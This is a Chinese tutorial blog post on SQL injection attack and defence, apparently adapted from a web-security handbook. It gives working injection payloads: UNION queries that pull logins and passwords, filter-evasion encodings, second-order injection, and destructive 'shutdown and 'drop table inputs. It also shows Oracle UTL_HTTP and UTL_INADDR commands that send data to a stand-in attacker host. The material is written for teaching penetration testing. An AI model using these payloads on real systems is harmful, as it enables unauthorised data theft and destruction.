安全测试:SQL注入攻防

原创
2016/06/26 10:32
阅读数 2.1K

一。注入解释型语言

解释型语言(interpreted language)是一种在运行时由一个运行时组件(runtime component)解释语言代码并执行其中包含的指令的语言。与之相对,编译型语言(compiled language)是这样一种语言:它的代码在生成时转换成机器指令,然后在运行时直接由使用该语言的计算机处理器执行这些指令。

理论上说,任何语言都可使用编译器或注释器来执行,这种区别并不是语言本身的内在特性。基于解释型语言的执行方式,产生了一系列叫做代码注入(code injection)的漏洞。

 

二。注入SQL

A。利用一个基本的漏洞

 

Select author,title,year From books Where publisher = 'Wiley' or 'a'='a'

这个查询完全有效,可得到和1 =1攻击相同的效果

 

B。查明SQL注入漏洞

实际上,提交给服务器的任何数据都能够以用户无法察觉的方式传送给数据库函数,并且可能得到不安全的处理。因此需要检查所有这些数据,以防止SQL注入漏洞。这包括所有URL参数、cookie、POST数据项以及HTTP消息头。无法哪一种情况,相关参数名与参数值的处理过程都可能存在漏洞。

当探查SQL注入漏洞时,一定要确保完全遍历任何可以提交专门设计的输入的多阶段过程;应用程序通常会从几个请求中收集一组数据,一旦收集到全部的数据,就将其保存在数据库中。这时,如果仅在每个请求中提交专门设计的数据并监控应用程序对那个请求的响应,就会遗漏许多SQL注入漏洞。

 

·1.字符串数据

渗透测试步骤:

1.提交一个单引号作为目标查询的数据。观察是否会造成错误,或者结果是否与原始结果不同。

2.如果发现错误或其他异常行为,同时提交两个单引号,看会出现什么情况。数据库使用两个单引号作为转义序列,表示一个字面量单引号。因此这个序列被解释成引用字符串中的数据,而不是结束字符串的终止符。如果这个输入使错误或异常行为消失,应用程序可能易于受到SQL注入

3.进一步核实漏洞是否存在,可以使用SQL连接符建立一个等同于“良性”输入字符串。如果应用程序以和处理对应“良性”输入相同的方式处理专门设计的输入,那么他很可能易于受到攻击。每种数据库使用的字符连接方法各不相同。在一个易受攻击的应用程序中,可以注入一下实例构建等同于FOO的输入:
Oracle:'||'FOO

MS-SQL:'+'FOO

MySQL:' 'FOO(注意两个引号之间有一个空格)

 

    可以在特定的参数中提交SQL通配符%,以确定应用程序是否与一个后端数据库交互。例如,在一个搜索字段中提交这个通配符将返回大量结果,指出输入正被传送到一个SQL查询中。当然,这不一定表示应用程序易受攻击,只表示应该深入探查以确定是否存在任何漏洞。

 

 

·2.数字数据

1.尝试输入一个结果等于原始数字值的简单数学表达式。例如,如果原始值为2,尝试提交(1+1)或(3-1)。如果应用程序做出相同的响应,就表示它易于受到攻击

2.如果证实被修改的数据会对应用程序的行为造成明显影响,前面描述的测试方法最为可靠。例如,如果应用程序使用一个数字式PageID参数指定应返回什么内容,就用(1+1)代替2得到相同的结果,明显表示存在SQL注入。然而,如果能够在数字是参数中插入一个完全随意的输入,但应用程序的行为却没有发生改变,那么前面的检测方法就无法发现漏洞。

3.如果第一个测试方法取得成功,可以利用更加复杂的、使用特殊SQL关键字和语法进一步获得与漏洞有关的证据。ASCII命令就是一个典型的实例,它返回被提交字符的数字化ASCII代码。例如,因为65的ASCII值为A,在SQL中,以下表达式等于2。67-ASCII('A')

4.如果单引号被过滤掉,那么前面的测试方法就没有作用。然而,这时可以利用这样一个事实:在必要时,数据库会隐含地将数字数据转化为字符串数据。例如,因为字符1的ASCII为49,在SQL中,以下表达式等于2:51-ASCII(1)

 

当探查一个应用程序是否存在SQL注入之类的缺陷时,我们常常会犯一个错误,即忘记某些字符在HTTP请求中具有特殊含义,如果想在攻击有效载荷(attack payload)中插入这些字符,就必须对他们进行URL编码,确保应用程序按预料的方式解释他们。特别是以下字符:

·& 和 = 用于连接名称/值时,建立查询字符串和POST数据块。应当分别使用%26和%3d对他们进行编码;

·查询字符串不允许使用空格,如果在其中提交空格,整个字符串将立即终止。必须使用 + 或 %20 对其编码

·由于 + 被用于编码空格,如果希望在字符串中使用+,就必须使用%2b对其编码。因此,在前面的数字化实例中,1+1应以1%2b1的形式提交

·分号被用于分隔cookie字段,必须使用%3b将其编码

 

一般来说,前面描述的步骤足以确定绝大多数的SQL注入漏洞,包括许多向浏览器返回无用结果或错误信息的漏洞。但是,在某些情况下,可能有必要使用更加高级的技巧(如时间延迟)来确定一个漏洞。后面将会描述这些技巧。

 

C。注入不同的语句类型

·1.SELECT语句

SELECT语句被用于从数据库中获取信息。他们常用于应用程序响应用户操作而返回信息的功能中,如浏览一个产品目录、查看一名用户的资料或者进行一项搜索。根据数据库中的数据核对用户提交的信息的登录功能也经常使用这种语句。

SQL注入漏洞偶尔也会影响SELECT查询的其他部分,如Order by字句或表和栏名称

 

·2.INSERT语句

INSERT语句用于在表中建立一个新的数据行。应用程序通常使用这种语句添加一条新的审计日志、创建一个新用户账户或生成一个新订单

例如,如果一个应用程序允许自我注册,指定他们自己的用户名和密码,就可以使用下面的语句将用户资料插入Users表中:

Insert into users (username,password,ID,privs) values ('daf','secret',2248,1)

如果username和password字段存在SQL注入漏洞,那么攻击者就可以在表中插入任何数据,包括他自己的ID和privs值。然而,要想这么做,攻击者就必须确保Values字句的其他部分正常运行。特别是其中数据项的个数与类型必须正确。例如,当注入username字段时,攻击者可以提交以下输入:foo','bar',9999,0) --

它将建立一个ID为9999,privs为0的账户。假如privs字段被用来决定账户权限,那么攻击者就可以利用它创建一个管理用户。

有时,攻击者完全盲目地注入一个Insert语句也能够从应用程序中提取出字符串数据。例如,攻击者可以拦截数据库的版本字符串,并把它插入自己用户资料的一个字段中;正常情况下,浏览器将显示数据库的版本信息。

当设法注入一个insert语句时,可能无法提前知道需要提交多少个参数或参数类型。在前面的实例中,可以通过在Values子句中持续增加一个新的字段,直到应用程序创建确实想要的用户账户,从而解决上述问题。例如,当注入username字段时可以提交以下输入:
foo') - -

foo',1)--

foo',1,1)--

foo',1,1,1)--

由于大多数数据库都会隐式地将一个整数转换为一个字符串,可以在每个位置都使用一个整数,在这个实例中,不管其他字段如何,它将生成一个用户名为foo,密码为1的账户。

如果发现使用值1仍然遭到拒绝,可以尝试使用值2000,许多数据库也会隐式地将它转换成基于 数据的数据类型。

 

·3.UPDATE语句

UPDATE语句用于修改表中的一行或几行数据。他们经常用在用户修改已有数据值的功能中,例如,更新联系信息、修改密码或更改订单数量。

典型UPDATE语句的运行机制与insert语句类似,只是UPDATE语句中通常包含一个WHere字句,告诉数据库更新表中的哪些行的数据。例如,当用户修改密码时,应用程序可能会执行以下查询:

Update users set password = 'newsecret' where user = 'marcus' and password = 'secret'

实际上,这个查询首先核实用户的现有密码是否正确,如果密码无误,就用新的值更新它。如果这项功能存在SQL注入漏洞,那么攻击者就能避开现有密码检查,通过输入以下用户名更新管理员密码:admin'--

由于无法提前知道应用程序将根据专门设计的输入执行什么操作,因此,在一个远程应用程序中探查SQL注入漏洞往往非常危险。特别注意,修改UPDATE语句中的WHERE字句可能会使一个重要的数据库表发生彻底改变。例如,如果上面的攻击者之前已经提交了以下用户名:

admin' or 1=1--

那么应用程序可能会执行以下查询:

Update users set password = 'newsecret' where user = 'admin' or 1=1

他会重新设置每一名用户的密码!

即使所攻击的应用程序功能(如主登录功能)并不会更新任何现有数据,渗透测试员也应当留意这种风险。有时候,在用户成功登陆后,应用程序会使用用户提交的用户名执行各种UPDATE查询,这意味着任何针对WHERE字句的攻击可能会“复制”到其他语句中,给所有应用程序用户的资料造成严重破坏。在尝试探查或利用任何SQL注入漏洞之前,必须确保应用程序所有者接受这些无法避免的风险;同时,应该强烈建议他们在开始测试前对数据库进行完整备份。

 

·4.DELETE语句

DELETE语句用于删除表中的一行或几行数据,例如用户从他们的购物篮中删除一件商品或从个人资料中删除一个交货地址。

 

 

D。UNION操作符

SQL使用UNION操作符将两个或几个SELECT语句的结果组合到独立的一个结果中。如果一个Web应用程序的SELECT语句存在SQL注入漏洞,通常可以使用UNION操作符执行另一次完全独立的查询,并将它的结果与第一次查询的结果组合在一起。如果应用程序向浏览器返回查询结果,那么就可以使用这种技巧从应用程序中提取任意的数据

了解UNION两个重要的限制:

1.如果使用UNION组合两个查询的结果,这两个结果必须结构相同。也就是说,他们的栏数必须相同,必须使用按相同顺序出现的相同或兼容的数据类型

2.为注入另一个返回有用结果的查询,攻击者必须知道它所针对的数据库表的名称以及有关栏的名称。

 

现在让我们更加深入地分析前一个限制。假设攻击者试图注入另一个返回错误栏数的查询。他提交以下输入:

Wiley' UNION select username,password from users--

最初的查询返回3栏,而注入的查询返回2栏。因此,数据库返回以下错误:

ORA-01789:query block has incorrect number of result columns

假设攻击者试图注入另一个栏内数据类型不兼容的查询。它提交以下输入:

Wiley' UNION select uid,username,password from users--

这样数据库尝试把第二个查询的密码栏(其中为字符串数据)与第一个查询的年代栏(其中为数字数据)组合起来。因为字符串数据无法转换为数字数据,这个语句造成一个错误:

ORA-01789:expression Must have same datatype as corresponding

expression

上面是Oracle返回的错误信息。

 

渗透测试步骤:

攻击的首要任务是查明应用程序执行的最初查询所返回的栏数。有两种方法可以完成这项任务。

1.可以利用NULL被转换为任何数据类型这一事实,系统性的注入包含不同栏数的查询,

直到注入的查询得到执行,例如:

'Union select Null --

'Union select null,null--

'Union select null,null,null--

查询得到执行就说明使用了正确的栏数。如果应用程序不返回数据错误消息,仍然可以了解注入的查询是否成功执行,因为会收到另外一行数据,其中包含NULL或一个空字符串

 

2.可以在最初的查询中注入一个Order By字句,并递增排序栏(ordering column)的索引(index),直到发生错误。例如
    'order by 1--

'order by 2--

'order by 3--

一般来说,前几个查询将会返回和最初的查询相同的结果,但数据项的顺序各不相同。如果发生错误,就说明指定了一个无效的栏数,可以据此查明实际的栏数。

确定所需的栏数后,下一项任务就是找到一个使用字符串数据类型的栏,以便通过它从数据库中提取出任意数据。和前面一样,可以通过注入一个包含NULL值的查询,并系统性的用a代替每个Null,从而完成这项任务。例如,如果知道查询必须返回3栏,可以注入一下查询:

'UNion select 'a',Null,Null--

'Union select Null,'a',Null--

'UNion select Null,Null,'a'--

    如果注入的查询得到执行,将看到另一行包含a值的数据,然后就可以使用相关栏从数据库中提取数据。

在Oracle数据库中,每个Select语句必须包含一个From属性,因此,无论栏数是否正确,注入UNION SELECT Null将产生一个错误。可以选择使用全局可访问表DUAL来满足这一要求。例如:

'UNION SELECT NULL FROM DUAL--

如果已经确定注入的查询所需的栏数,并且已经找到一个使用字符串数据类型的栏,就能够提取出任意数据。一个简单的概念验证测试测试是提取数据库的版本字符串,可以对任何数据管理系统(DBMS)进行测试。例如,如果查询一共有3栏,第一栏可以提取字符串数据,可以在MS-SQL和MYSQL中注入以下查询提取数据库版本:

'UNION SELECT @@version ,null,null--

对Oracle注入以下查询将得到相同的结果:

'UNION select banner,null,null from v$version--

 

E。“指纹识别”数据库

下面的实例说明常用的数据库是如何构建Services字符串的。

Oracle:'serv'||'ices'

MS-SQL:'serv'+'ices'

MySQL:'serv' 'ices'(注意中间有空格)

如果正在注入数字数据,就可以使用下面的攻击字符串来识别数据库。每个数据项在目标数据库中的值为0,在其他数据库中则会产生一个错误:

Oracle:BITAND(1,1)-BITAND(1,1)

MS-SQL:@@PACK_Received-@@PACK-RECEIVED

MySQL:CONNECTION_ID()-CONNECTION_ID()

注解 MS-SQL和SYbase数据库起源相同,因此他们在表结构、全局变量和存储过程方面存在许多相似之处。实际上,后文描述的绝大多数针对MS-SQL的攻击技巧同样也适用于SYbase。

 

F。提取有用的数据

·1.Oracle攻击

典型的搜索使用以下URL:

https://wahh-app.com/emplyees.asp?empno=7521

如果要执行UNION攻击,需要确定查询所需的栏数(他可能与应用程序响应返回的栏数有所不同)。注入一个返回单独一栏的查询导致如下错误消息:

https://wahh-app.com/employees.asp?empno=7521%20UNION%20Select%20Null%20from%20dual--

[oracle][ODBC][Ora]ORA-01789:query block has incorrect number of result columns

 

继续在注入的查询中增加其他NULL值,直到查询得以执行,应用程序不再返回错误消息:

https://wahh-app.com/employees.asp?empno=7521%20UNION%20select%20Null,NUll,Null,Null%20from%20dual--

注意,表中增加了一个空白行,其中包含注入的查询返回的NULL值。

确定了所需的栏数后,现在需要找到一个使用字符串数据栏类型的栏。第一次尝试没有成功:

https://wahh-app.com/employees.asp?empNo=7521%20Union%20select%20'a',NUll,Null,Null%20from%20dual--

[oracle][ODBC][ora]ORA-01790:expression must have same datatype as corresponding expression

 

针对第二栏进行测试,这次取得成功。返回一行包含指定的输入的数据:

https://wahh-app.com/employees.asp?empno=7521%20UNION%20select%20Null,'a',Null,Null%20from%20dual--

 

现在就有办法从数据库中提取字符串数据库了。下一步需要查明可能包含有用信息的数据库表的名称。尝试查询user_objects表,它显示与用户定义的表和其他数据项有关的细节:

https://wahh-app.com/employees.asp?empno=7521%20Union%20select%20null,object_name,object_type,null%20from%20user_objects--

 

前面查询了user_objects表,它返回Web应用程序的数据库用户拥有的所有对象。还可以查询all_user_objects,它将返回该用户可以看见的全部对象,即使他并不拥有这些对象。

刚才返回的这些表中可能包含敏感信息,包括在我们的权限下无论还无法访问的雇员信息。首先,USERS表是一个明显的对象,因为其中可能包含证书。可通过查询User_tab_columns表查明这个表的栏的名称:

https://wahh-app.com/employees.asp?empno=7521%20UNION%20select%20NUll,column_name,Null,Null%20from%20user_tab_columns%20where%20table_name%20%3d%20'USERS'--

上面的输出结果表明,USERS表中其实并不包含密码和会话令牌之类敏感数据。现在已经能够提取这种形式的任何信息。例如:

https://wahh-app.com/employees.asp?empno=7521%20UNION%20select%20null,login,password,Null%20from%20users--

 

在刚刚描述的攻击中,有两个栏可用于获取数据;最简单的攻击方法是同时使用这两个栏。如果只有一个字段可供使用,也可以将几个想要提取的数据连接成一个字符串,放入这个字段中,实施相同的攻击。例如,下面的URL将提取Employee字段中的用户名和密码,他们之间用冒号分隔。

https://wahh-app.com/employees.asp?empno=7521%20UNION%20select%20Null,login||':'||password,Null,NUll%20from%20user_objects--

 

G。避开过滤

有时,易于受到SQL注入攻击的应用程序可能会执行各种输入过滤,以防止攻击者无限制的利用其中存在的缺陷。例如,应用程序可能会删除或净化某些字符,或者阻止常用的SQL关键字。这种过滤通常非常容易避开,攻击者可以使用以下几种技巧。

·1.避免使用别阻止的字符

如果应用程序或编码某些在SQL注入攻击中经常用到的字符,那么攻击者不使用这些字符仍然能够实施攻击。

(1)如果注入的一个数字数据字段,就不需要使用单引号

(2)如果注释符号被阻止,通常可以设计注入的数据,使其不会破坏周围查询的语法。例如,不用注入

'or 1=1--

可以注入:

'or 'a'='a

(3)在一个MS-SQL数据库中注入批量查询时,不必使用分号分隔符。只要纠正所有批量查询的语法,无论是否使用分号,查询解析器都会正确解释他们。

 

·2.避免使用简单确认

一些输入确认机制使用一个简单的黑名单,阻止或删除任何出现在这个名单中的数据。在这种情况下,攻击者会使用标准的攻击方法,寻找确认和规范化(canonicalization)机制中的常见缺陷。例如,如果SELECT关键字被阻止或删除,可以使用以下输入:

SeLeCt

SELSELECTECT

%53%45%4c%45%43%54

%2553%2545%254c%2545%2543%2554

 

·3.使用SQL注释

 

与在C++语言中一样,也可以在SQL语句插入行内注释,注释内容包含在/*与*/符号之间。如果应用程序阻止或删除输入中的空格,攻击者可以使用注释“冒充”注入的数据中的空白符。例如:

SELECT/*foo*/username,password/*foo*/From/*foo*/users

在MySQL中,注释甚至可以插入关键字中,攻击者可以通过这种方法避开某些输入确认过滤,同时保留查询中的语法。例如
 

SEL/*foo*/ECT username,password Fr/*foo*/om users

 

·4.处理被阻止的字符串

如果应用程序阻止某些想要作为数据项插入注入查询中的字符串,那么攻击者就可以使用各种字符串操作函数动态建立需要的字符串。例如,如果表达式admin被阻止,那么攻击者可以通过以下方式建立该字符串。

Oracle:'adm'||'in'

MS-SQL:'adm'+'in'

MySQL:concat('adm','in')

多数数据库都拥有许多自定义的字符串操作函数,可用于以任何复杂的方式创建被阻止的字符串,以避开各种输入确认过滤。例如,Oracle中包含CHR,REVERSE,TRANSLATE,REPLACE和SUBSTR函数。如果单引号被阻止,攻击者可以使用CHR函数插入一个字符串。例如,下面的查询可建立字符串admin:

SELECT password from users where username = CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)

 

·5.使用动态执行

一些数据库通过向相关函数提交一个用字符串表示的特殊语句来动态执行SQL语句。例如,在MS-SQL中,可以使用以下语句:

exec('select * from users')

这允许在语句的任何位置使用前面描述的任何字符串操作技巧,避开旨在阻止某些表达式的过滤。例如:

exec('sel'+'ect * from'+'users')

还可以建立一个十六进制编码数字数据字符串,然后向exec函数提交这个字符串,从而避开许多种输入过滤,包括阻止单引号的过滤,例如:

declare @q varchar(8000)

Select @q = Ox73656c656374202a2066726f6d207573657273

exec(@q)

在Oracle中,可以使用EXECUTE IMMEDIATE执行一个以字符串表示的查询。例如:

declare

l_cnt varchar2(20)

begin

 

Execute immediate 'sel'||'ect * fr'||'om_users'

into l_cnt

dbms_output.put_line(l_cnt);

end;

 

·6 利用有缺陷的过滤

应用程序常常对出现在基于字符串的用户输入中的任何单引号进行转义(并拒绝任何出现在数字输入中的单引号),设法防御SQL注入。如上文所述,两个连续的单引号是一个转义序列,表示一个字面量单引号,数据库将把它解释为一个引用字符串中的数据,而不是结束字符串的终止符。因此,许多开发认为,将用户提交的输入中的单引号配对,就可以防止任何SQL注入攻击。

除将单引号配对外,一些应用程序还执行其他操作,设法净化潜在的恶意输入。在这种情况下,攻击者可以利用这些步骤的次序避开过滤。

回到前面那个易受攻击的登录实例。假设应用程序将用户输入中的任何单引号配对,并且对数据执行长度限制,将其截短为20个字符。提交用户名:admin'--

现在得到如下查询,它无法避开登录:

SELECT * from users WHERE username='admin''--' and password = ''

但是,如果提交下面的用户名(包含19个a和一个单引号):

aaaaaaaaaaaaaaaaaaa'

那么应用程序首先会将单引号配对,然后把字符串截短为20个字符,将输入恢复到最初的值。这回导致一个数据库错误,因为在查询中注入了另外一个单引号,但没有纠正周围的语法。现在如果还提交以下密码值

[空格]or 1=1--

应用程序将执行如下查询,它能够成功避开登录:

SELECT * FROM users WHERE username = 'aaaaaaaaaaaaaaaaaaa'' and password = ' or 1=1--'

由a组成的字符串末尾部分的配对的单引号被解释成一个转义引号,因此被当做查询数据的一部分。这个字符串直到下一个单引号位置结束,在最初的查询中,这个引号后面是用户提交的密码。因此,数据库所理解的用户名为下面的字符串:

aaaaaaaaaaaaaaaaaaa' and password =

因此,引号后面的任何内容都被当做查询数据的一部分,并可进行专门设计以破坏查询逻辑。

 

不必了解字符串的长度限制,只需轮流提交下面这两个超长的字符串,看是否会发生错误,就可以检测这种类型的漏洞:

''''''''''''''''''''''''''''''

a'''''''''''''''''''''''''''''

截短转义字符发生在一个偶数字符或奇数字符之后,无论哪一种情况,前面的字符串都会在查询中插入奇数数目的单引号,致使语法失败。

 

H。二阶SQL注入

一种特别有益的避开过滤的方法与二阶SQL注入(Second-orderSQLinjection)有关。如前文所述,应用程序常常对出现在基于字符串的用户输入中的任何单引号进行转义(并拒绝任何在数字输入中的单引号),设法防御SQL注入。即使应用前面描述的攻击很难突破这种防御方法,但有时仍然可以避开它。

在前面搜索的示例中,这种方法明显有效。当用户输入搜索项O'Reilly时,应用程序执行以下查询:

Select author,title,year From books WHERE publisher = 'O''Reilly'

在这个查询中,用户提交的单引号被转换为两个单引号,因而传送给数据库的搜索项与用户最初输入的表达式具有相同的字符含义。

与单引号配对方法有关的问题出现在更复杂的情形中,此时同一个数据项被提交给几个SQL查询,然后写入数据库被几次读取。这是证明简单输入确认相对于边界确认存在不足的一个示例。

回到前面那个允许用户自我注册并且在一个INSERT语句中存在SQL注入漏洞的应用程序,假设开发者将出现在用户数据中的所有单引号配对,尝试修复这个漏洞。注册用户名foo'来建立如下查询,它不会在数据库中造成问题:

Insert INTO users(username,password,ID,privs) VALUES ('foo''','secret',2248,1)

现在一切正常。然而,假设应用程序还执行密码修改功能,那么只有通过验证的用户才能够访问这项功能,而且为了加强保护,应用程序要求用户提交原始密码。然后应用程序从数据库中提取用户的当前密码,并对两个字符串进行比较,核对用户提供的密码是否正确。要完成核对任务,它首先要从数据库提取用户的用户名,然后建立如下查询:

SELECT password FROM users WHERE username = 'foo''

因为保存在数据库中的用户名是字面量字符串foo',当应用程序提出访问要求时,数据库即返回这个值;只有在字符串被传送给数据库时才使用配对的转义序列。因此,当应用程序重复使用这个字符串并将它嵌入到另一个查询中时,就会造成一个SQL注入漏洞,用户最初的恶意输入被嵌入到查询中。当用户尝试修改密码时,应用程序返回以下消息,揭示了上述缺陷:Unclosed quotation mark before the character string 'foo

要利用这种漏洞,攻击者只需注册一个包含专门设计的输入用户名,然后尝试修改密码。例如,如果注册如下用户名:

'or 1 in (select password from users where username='admin')--

注册步骤将会被应用程序安全处理。如果攻击者尝试修改密码,它注入的查询就会执行,导致成以下消息,泄露管理员的密码:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'fme69' to a column of data type int.

攻击者已经成功避开旨在阻止SQL注入攻击的输入确认,现在它能够在数据库中执行任意查询并获得查询结果。

 

I。高级利用

到现在为止,我们描述的所有攻击中,有一些现成的方法可帮助从数据库中提取有用的数据,例如,通过执行UNION攻击或在错误消息中返回数据。随着人们防御SQL注入威胁意识的增强,这种情形已经逐渐消失。如今,即使遇到SQL注入漏洞,攻击者仍然无法直接获取注入的查询结果,这种情况日益增多。我们将讨论几种出现这种问题的情况,以及如何处理这些情况。

应用程序所有者应意识到,并非所有攻击都旨在盗窃敏感数据。一些攻击可能更具破坏性,例如,仅仅提交12个字符串的输入,攻击者就能够使用关闭命令(shutdown command)关闭一个MS-SQL数据库:'shutdown--

攻击这还可以注入恶意命令,以下面这些命令删除一些数据库表:

'drop table users--

'drop table accounts--

'drop table customers--

 

·1。获取数字数据

如果包含单引号的输入得到正确处理,那么应用程序中的字符串字段就不再易于受到SQL注入攻击。但是,数字数据字段可能仍然存在漏洞;在这种字段中,用户输入并不包含在单引号中。这时攻击者只需通过应用程序的数字响应(numeric response),才能获得注入的查询结果。

在这种情况下,攻击者需要做的是获取数字形式的有用数据,对注入的查询的结果进行处理。他们可以使用以下两个关键函数:

ASCII,它返回输入字符的ASCII代码;

SUBSTRING(或ORACLE中的SUBSTR),它返回输入的子字符串。

这些函数可结合在一起使用,以数字形式从一个字符串中提取单独一个字符。例如:

SUBSTRING('Admin',1,1)返回A

ASCII('A')返回65

因此ASCII(SUBSTR('Admin',1,1))返回65

使用这两个函数,可以系统地将一个有用的字符串分割成单个的字符,并以数字形式分别返回每一个字符。在自定义攻击中,可以利用这种技巧,以一次一个字节的速度。迅速获得并重建大量基于字符串的数据。

我们曾经遇到上述问题的另一种形式,即应用程序返回的并不是真正的数字,而是一些以该数字为标识符的资源。应用程序根据用户的输入执行一个SQL查询,获得一个文档的数字标识符,然后将文档的内容返回给用户。在这种情况下,攻击者可以先获得标识符在相关数字范围内的每一份文档的备份,然后在文档内容与标识符之间建立映射。接下来,当实施前面描述的攻击时,攻击者就可以参考这个映射确定应用程序返回的每个文档标识符,因而得到他们成功提取的字符的ASCII值。

在处理字符串操作和数字计算方面,不同数据库平台之间存在大量细微区别,当实施这种高级攻击时,攻击者需要意识到这类区别。通过以下地址可以找到说明不同数据之间这些区别的详细指南:

http://sqlzoo.net/howto/source/z.dir/i08fun.xml

 

·2。使用带外通道

在许多SQL注入攻击中,应用程序并不在用户的浏览器中显示查询的结果,也不返回数据库生成的任何错误消息。很明显,在这种情况下,即使一个SQL注入漏洞确实存在,攻击者也无法对其加以利用,提取任意数据或执行任何其他操作。但是,这种想法是错误的,即使出现这种情况,仍然可以使用各种技巧获取数据、确认其他恶意操作是否取的成功。

许多时候,可以注入任意一个查询,但却无法获得查询结果。回到那个易受攻击的登录表单,它的用户名和密码字段易于遭受SQL注入:

SELECT * FROM users Where username = 'marcus' and password = 'secret'

除了修改查询逻辑以避开登录外,还可以注入一个完全独立的子查询,使用字符串连接符把这个子查询的结果与控制的数据项连接起来。例如:

foo'||(select 1 from dual where (select username from all_users where username = 'DBSNMP') = 'DBSNMP')--

应用程序将执行以下查询:

SELECT * FROM users WHERE username = 'foo'||(SELECT 1 From dual Where (Select username From all_users where username = 'DBSNMP') = 'DBSNMP')

数据库将执行注入的任何子查询,并将它的结果附加在foo之后,然后查找所生成用户名的资料。当然,这种登录不会成功,但诸如的查询将得以执行。在应用程序响应中收到的只是标准的登录失败消息。现在需要想办法获得注入查询的结果。

如果能对MS-SQL数据库使用批量查询(batch query),这时就会出现另一种相似的情形。批量查询特别有用,因为它们允许执行一个完全独立的语句,在这个过程中,渗透测试员拥有全部的控制权,可以使用另外的SQL语句并针对一个不同的表进行查询。但是,因为批量查询执行查询的方式比较特殊,我们无法直接获得获得注入查询的执行结果,同样需要想办法获得注入查询的结果。

在这种情况下,一种获取数据库的有效方法是使用一个带外通道(out-of-band channel)。已经能够在数据库中执行任意SQL语句后,渗透测试员往往可以利用数据库的一些内置功能在数据库与自己的计算机之间建立网络连接,通过它传送从数据库中收集到的任何数据。

建立适当网络连接的方法依不同的数据库而定,而且取决于应用程序访问数据库所使用的用户权限。下面将描述一些使用每种数据库时最常用、最有效的技巧。

Oracle:

Oracle中包含大量低权限用户可访问的默认功能,可以使用它们建立带外连接。

UTL_HTTP包可用于向其他主机提出任意HTTP请求。UTL_HTTP包含丰富的功能,并支持代理服务器、cookie、重定向和验证。这意味着,如果攻击者已经攻破一个受到强大保护的企业内部网络中的数据库,他就能够利用企业代理服务器与因特网建立外部链接。

在下面的示例中,UTL_HTTP被用于向攻击者控制的服务器传送注入查询的结果。

https://wahh-app.com/employees.asp?empno=7521'||UTL_HTTP.request('wahh-attacker.com:80/'||(select%20username%20from%20all_users%20where%20rownum%3d1))--

这个URL促使UTL_HTTP提出一个Get请求,要求访问包含all_users表中第一个用户名的URL。攻击者只需在wahh-attacker.com安装一个netcat监听器就可以收到结果。

C:\>nc -nlp 80

Get /SYS HTTP/1.1

HOST:wahh-attacker.com

Connection:close

 

UTL_INADDR包旨在将主机名解析为IP地址。它可用于在攻击者控制的服务器中生成任意DNS查询。许多时候,相比于UTL_HTTP攻击,这类攻击更有可能取得成功,因为即使HTTP流量被阻止,通常DNS流量仍然能够穿透企业防火墙。攻击者能够利用这个包查找选择的主机名,将它作为子域放在他们控制的一个域名前面,以此迅速获得任意数据,例如:

https://wahh-app.com/employees.asp?empno=7521'||UTL_INADDR.GET_HOST_NAME((SELECT%20PASSWORD%20FROM%20DBA_USERS%20WHERE%20USERNAME='SYS')||'wahh-attacker.com')

它向包含SYS用户的密码散列(password hash)的wahh-attacker.com名称服务器发出下面这个DNS查询。

DCB748A5BC5390F2.wahh-attacker.com

UTL_SMTP包可用于发送电子邮件。在外出的电子邮件中发送这个包,即可获得大量从数据库中截取的数据:

UTL_TCP包可用于打开任意TCP套接字(TCP socket),以发送和接收网络数据。

 

利用操作系统:

通常可以在数据库服务器的操作系统上执行任意命令,以此实施权限提升攻击。这时,攻击者可以采用许多手段获得数据,如使用FTP,mail和telnet等内置命令,或者将数据复制到Web根目录使用浏览器获取。

 

·3。利用推论:条件式响应

造成带外通道不可用的原因很多。大多情况下,是因为数据库处在一个受保护的网络中,它的边界防火墙禁止任何与因特网或其他网络的带外连接。这时,只能通过Web应用程序注入点(injection point)访问数据库。

回到那个可注入用户名和密码字段以执行任意查询的登录功能:

SELECT * FROM users WHERE username = 'marcus' and password = 'secret'

假如还没有找到将注入查询的结果返回给浏览器的方法。但是已经知道如何使用SQL注入改变应用程序的行为。例如,提交下面两个输入将得到截然不同的结果:

admin' and 1=1--

admin' and 1=2--

在第一种情况中,应用程序将允许攻击者以管理员的身份登录。在第二种情况中,登录尝试将会失败,因为1=2这个条件总为假。可以利用这种应用程序行为控制推断数据库中任意条件的真假。例如,使用前面描述的ASCII和SUBSTRING函数,攻击者可以测试截获字符串中的一个字符是否为特定的值。例如,提交下面这段输入将允许攻击者以管理员身份登录,因为经测试条件为真:

admin' and ASCII(SUBSTRING('Admin',1,1))=65--

但是,提交下面的输入,登录不会取得成功,因为经测试条件为假:

admin' and ASCII(SUBSTRING('Admin',1,1))=66--

提交大量这类查询,循环每个字符的所有可能的ASCII编码,直到出现一个“触点”,就能够以每次一个字节的速度,提取出整个字符串。

 

····1.工具介绍:AbSinthe

Absinthe并非一种可简单上手的工具,要有效的使用它,必须完全了解所利用的SQL注入漏洞,并且能够提交专门设计的输入,以某种可探测的方式影响应用程序的响应。

第一步:根据实施攻击所需的全部信息对Absinthe进行配置,包括以下几项。

     1.URL和请求方法

     2.目标数据库的类型,以便一旦发动攻击,Absinthe能够获得相关元信息。

     3.请求参数,以及是否每个参数都可被注入

     4.任何调整攻击所需的其他选项。如有必要,Absinthe可在每个注入的有效载荷后附加一个指定的字符串,并可以添加注释字符,以确保修改后生成的查询符合语法。

第二步:单击Initialize Injection选项。这时,Absinthe将发布两个测试请求,旨在触发不同的应用程序响应。如前面的攻击所述,Absinthe注入下面两个有效载荷:

'and 1=1--

'and 1=2--

只要已经正确配置了Absinthe,这两个测试请求就应导致应用程序作出不同的响应,证实已经为利用漏洞做好准备。

第一次连接测试能否在应用程序中成功生成不同的响应,取决于注入查询的语法的复杂程度。如果测试失败,那么需要根据在手动探查应用程序时获得知识,修改Absinthe的请求生成的查询语法。要修改Absinthe有效载荷之后的语法,可以更改Append text to end of query选项;要修改有效载荷之前的语法,可以更改相关参数的默认值。不断进行试验,直到成功完成初始化注入测试。

完成对Absinthe的配置后就可以实施攻击。首先,进入DB Schema选项卡选择一个或几个有效的操作:获取用户名、加载表信息和加载字段信息。

Absinthe用大量其他条件替代测试条件1=1,旨在查明数据库的内容并从获取任意数据。

例如,如果以Oracle平台为攻击对象,那么Absinthe可通过注入以下值,查明当前数据库用户名的第一个字符:

admin' and (SELECT ASCII(SUBSTR(a.username,1,1)) From User_users a where A.USERNAME = USER) = 65

